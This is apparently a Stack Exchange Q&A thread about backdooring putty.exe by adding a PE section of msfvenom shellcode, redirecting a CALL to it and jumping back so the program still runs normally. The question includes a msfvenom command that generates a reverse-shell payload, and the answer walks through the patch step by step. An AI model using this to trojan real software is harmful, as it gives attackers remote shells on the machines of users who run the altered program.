0

EDIT: I have posted this poste at security.stackexchange

I am trying to follow this tutorial to backdoor a simple 32bits PE binary (putty.exe).

The method used is to create a new section (named .test) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP.

First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics:

Name    VOffset    VSize     ROffset   RSize    Flags
.test   00110000   00001000  00106E00  00001000 E0000060

In immunity, I have loaded putty.exe. Memory view shows me that .test section is getting mapped at address 00510000

Here are the first instructions being launched:

7D4D1512 PUSH EAX
0046F346 CALL putty. <--- I changed this for JMP putty.00510000
0046F34B JMP putty.

Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f hex

I save the binary an re-launch immunity to debug it:

7D4D1512 PUSH EAX
0046F346 JMP putty.00510000

But JMP occurs now at the very end of the shellcode ! At 0051008E !

Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode).

How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics.

The document explains how the address is getting calculating like this:

Next step is to hijack the first instruction by jumping to our new section,
for that we need the RVA for both the .test section, first CALL instruction
and address of the next instruction.

001C9DE6 > $ E8 15770000 CALL PsExec_b.001D1500
001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B

RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.

I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values.

Many thanks for you help understanding this point;

  • RVA = Relative Virtual Address. I'd guess it's relative to the image base address, the address that the .exe is loaded at if it's not relocated. However AFAICS putty.exe's image base is the usual 400000, at least in the binary I have - try dumpbin /headers putty.exe. – Rup Mar 25 at 9:59
1

I tried to replicate to hijack the entrypoint, but in this example, the first instruct is not jump, so I have to find another instruction with size of 5 which call 0x449674.

enter image description here

I appended another section text.

enter image description here

I generated a simple shellcode with this command.

msfvenom -p windows/exec CMD=calc.exe EXITFUNC=none -f hex

enter image description here

What I had to do is write the shellcode in the appended section. enter image description here

But first we have to modify the address in order to redirect the control to our shellcode.

enter image description here

And yes, we created our backdoor, however, how can we revert back the control to PuTTY.exe?

I just modified a few opcodes at the end of the shellcode.

enter image description here

Why JUMP not CALL? Let's check the stack.

If it is a JUMP, it will go to the original address: enter image description here

If it is a CALL, it will pushes the RETURN address where it came from: enter image description here

Here is the result:

enter image description here

  • I use ollydbg in this example, so I dont have to compute generate an opcode, Olly will do it for you. – ismael_akez Mar 29 at 15:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.